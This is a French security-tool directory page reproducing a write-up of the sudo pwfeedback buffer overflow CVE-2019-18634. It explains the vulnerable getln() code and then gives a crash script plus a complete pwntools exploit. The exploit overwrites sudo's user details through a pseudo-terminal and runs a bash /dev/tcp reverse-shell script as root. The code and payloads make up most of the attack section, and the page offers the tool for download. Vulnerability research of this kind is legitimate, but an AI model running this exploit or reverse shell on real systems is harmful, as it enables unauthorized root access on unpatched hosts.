Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2019-18634 — Ce dépôt contient à la fois l'exploit et l'explication de la façon dont cette vulnérabilité est exploitée. | Kitploit
Outils/GitHubGitHub/l0w3/cve-2019-18634
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationApprentissage et ÉducationDéveloppement de Charges UtilesExploitation de Binaires
GitHubl0w3/cve-2019-18634

CVE-2019-18634

Ce dépôt contient à la fois l'exploit et l'explication de la façon dont cette vulnérabilité est exploitée.

Voir le dépôt
2il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2019-18634

La CVE-2019-18634 est une vulnérabilité qui affecte Sudo dans les versions < 1.8.25 lorsque pwfeedback est activé dans le fichier sudoers. Elle permet à un attaquant d'élever ses privilèges jusqu'à root en exploitant un débordement de tampon basé sur le BSS, où les structures de données sont modifiées et le programme pense qu'il est exécuté en tant que root, ne demandant alors plus le mot de passe et accordant les privilèges root.

Découverte de la vulnérabilité

Dans cette analyse, je vais d'abord approfondir la découverte de la vulnérabilité en analysant le code et en comprenant ce qui cloche. L'article de NIST explique que la vulnérabilité se trouve dans la fonction getln(), alors jetons-y un œil :

imagen

Nous pouvons voir que la fonction lit depuis un descripteur de fichier buffersize fois, un caractère à la fois et, si le caractère lu est sudo-term-kill, elle commence à effacer toute l'entrée envoyée, ramène le pointeur actuel au début et réinitialise le nombre de caractères à lire à buffersize.

Le bug réside dans le fragment de code suivant :

root@kitploit:~
static char *
getln(int fd, char *buf, size_t bufsiz, int feedback)
{
    size_t left = bufsiz;
    ssize_t nr = -1;
    char *cp = buf;
    char c = '\0';
    debug_decl(getln, SUDO_DEBUG_CONV)
//            ...

    while (--left) {
    	nr = read(fd, &c, 1);
    	if (nr != 1 || c == '\n' || c == '\r')
    	    break;
    	if (feedback) {
    	    if (c == sudo_term_kill) {
    		    while (cp > buf) {
    		      if (write(fd, "\b \b", 3) == -1)
    			      break;
    		      --cp;
    		    }
    		    left = bufsiz;
    		    continue;
    	    }
//            ...
    	}
    	*cp++ = c;
    }
//            ...
}

En gros, lorsque le caractère sudo-term-kill est présent, si l'opération d'écriture échoue, le pointeur du tampon n'est pas décrémenté, mais le compteur du nombre de caractères pouvant être écrits est réinitialisé, ce qui permet effectivement d'écrire une longueur arbitraire dans ce tampon.

Une analyse approfondie du code et des fonctions utilisées révèle que le caractère sudo-term-kill est défini comme un entier global non déclaré, ce qui signifie qu'il sera initialisé à 0 sauf s'il reçoit une entrée d'un terminal, auquel cas il prendra la valeur définie dans la structure termios c_cc, qui selon la doc est :

Screenshot 2024-12-12 at 17 20 29

Je n'irai pas trop loin dans les déductions ici, mais elles peuvent toutes être reproduites en consultant le code source du fichier term.c dans le dépôt Sudo.

Après cette petite analyse, il ne reste plus qu'à faire planter le programme et à le déboguer afin de voir ce qui est stocké et comment cela pourrait être exploité pour en tirer profit.

Déclenchement

Pour déclencher l'exploit, il suffit d'envoyer un payload avec suffisamment de données pour faire déborder le tampon et faire planter le programme. Pour ce faire, j'ai décidé d'utiliser la bibliothèque Python pwntools.

root@kitploit:~
import pwn

payload = b"A\x00"*10000
p = pwn.process(["/usr/local/bin/sudo", "-k", "-S", "id"]) # -k for asking the password every time, -S to specify stdin, as pwntools needs to pass data through stdin
print(p.read())
p.sendline(payload)
print(p.read())

Ce qui, lors de l'exécution, a donné l'erreur suivante : image

Nice!! Segmentation fault, donc nous avons écrasé quelque chose qui a fait planter l'exécution du binaire. Maintenant, nous devons regarder ce qui a été écrasé et les moyens d'en tirer profit.

Débogage

Pour déboguer le binaire, il suffit de mettre en pause l'exécution du processus avant d'envoyer le payload, puis d'y attacher un débogueur et de continuer l'exécution. Cela doit être fait ainsi car pour déboguer le processus sudo, il faut utiliser les privilèges root, mais cela fait que le programme ne demande pas le mot de passe, ce qui est la partie vulnérable.

Cela dit, passons à la suite pour voir ce qui a été stocké dans le tampon et les adresses mémoire suivantes : image

Nous pouvons voir qu'en plus du tampon, plusieurs autres structures de données ont été écrasées, ce qui pourrait être intéressant pour exploiter cette vulnérabilité. Ensuite, j'ai décidé de voir quelles données se trouvaient dans ces structures avant de les écraser. Pour ce faire, j'ai simplement exécuté le même script mais en n'écrasant que buffersize octets de données, puis j'ai de nouveau analysé la mémoire : image Comme nous pouvons le voir, la structure de données signo est entièrement à 0, à l'exception de l'octet à la position 548, qui vaut 0x02. Elle est ensuite suivie par la structure user-details, qui dans le code fait référence aux détails de l'utilisateur exécutant sudo. Le 0x02 représente l'option -S, comme défini dans le fichier sudo.h. Dans ce même fichier, une autre option appelée Askpass est définie, dans laquelle un programme est obtenu à partir d'une variable d'environnement et utilisé comme auxiliaire pour obtenir le mot de passe (au lieu d'utiliser un TTY ou le STDIN). Avec ces informations, le chemin d'exploitation devient peut-être un peu plus clair maintenant. Nous pourrions être en mesure de définir un programme auxiliaire personnalisé (par exemple, un reverse shell) puis d'écraser user-details pour faire comme si sudo avait été exécuté par root.

Exploitation

Pour l'exploitation, il reste encore quelque chose à surmonter : nous devons écrire des 0 pour préserver les données d'origine des structures de données, et nous devons également les utiliser pour définir les détails utilisateur sur ceux de root. Ainsi, nous ne pouvons pas utiliser l'entrée standard car elle n'écrirait pas les 0. Heureusement, nous savons que si nous utilisons un périphérique terminal, le caractère d'interruption est 0x15, un caractère dont nous n'avons pas du tout besoin. Cela pose un problème : nous avons besoin que l'opération d'écriture échoue, mais les périphériques terminal sont accessibles en écriture et en lecture, ce qui fait qu'ils ne feront pas échouer l'opération d'écriture. En faisant des recherches, j'ai découvert les pseudo-terminaux, qui sont essentiellement des périphériques terminal pouvant être créés par des programmes et contrôlés :image

Avec un PTY, nous pouvons communiquer avec le maître et le maître communiquera avec l'esclave. Si nous configurons l'esclave pour n'avoir que des privilèges de lecture, les programmes ne pourront jamais y écrire (et échoueront donc), ce qui signifie que nous pourrons déclencher l'exploit.

Une fois tout cela en place, il ne reste plus qu'à écrire le reverse shell

root@kitploit:~
#!/usr/bin/bash
bash -i >& /dev/tcp/127.0.0.1/4242 0>&1

Et l'exploit :

root@kitploit:~
import os
import pwn
import sys
####### Offsets of important info #######
buff = 0x563142f712c0
signo = 0x563142f713e0
userdetails = 0x563142f71500
tgetflag = 0x563142f714e4
####### PTY file descriptors ######
masterfd, slavefd = os.openpty()
fd = os.open(os.ttyname(slavefd), os.O_RDONLY)
rshell = "/tmp/revshell.sh"
####### Process started with pty as stdin and rshell as sudo askpass program ###
proc =  pwn.process(['/usr/local/bin/sudo', '-k', '-S', 'id'], env={'SUDO_ASKPASS':rshell}, stdin=fd)
pwn.log.info(f"Process started. Will execute {rshell} as payload")
####### Listener #######
port = pwn.listen(4242)
####### Payload #######
pwn.log.info("Sending Payload")
payload  = (b'\x00' + b'\x15') * (tgetflag - buff)
payload += pwn.p64(0x4).ljust(userdetails - tgetflag, b'\x00')
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
os.write(masterfd, payload + b'\n')

port.wait_for_connection()
pwn.log.info("wo0t wo0t welcome back, my lord")
port.interactive()

En utilisant cela, un reverse shell est reçu en tant que root : image

Télécharger l’outil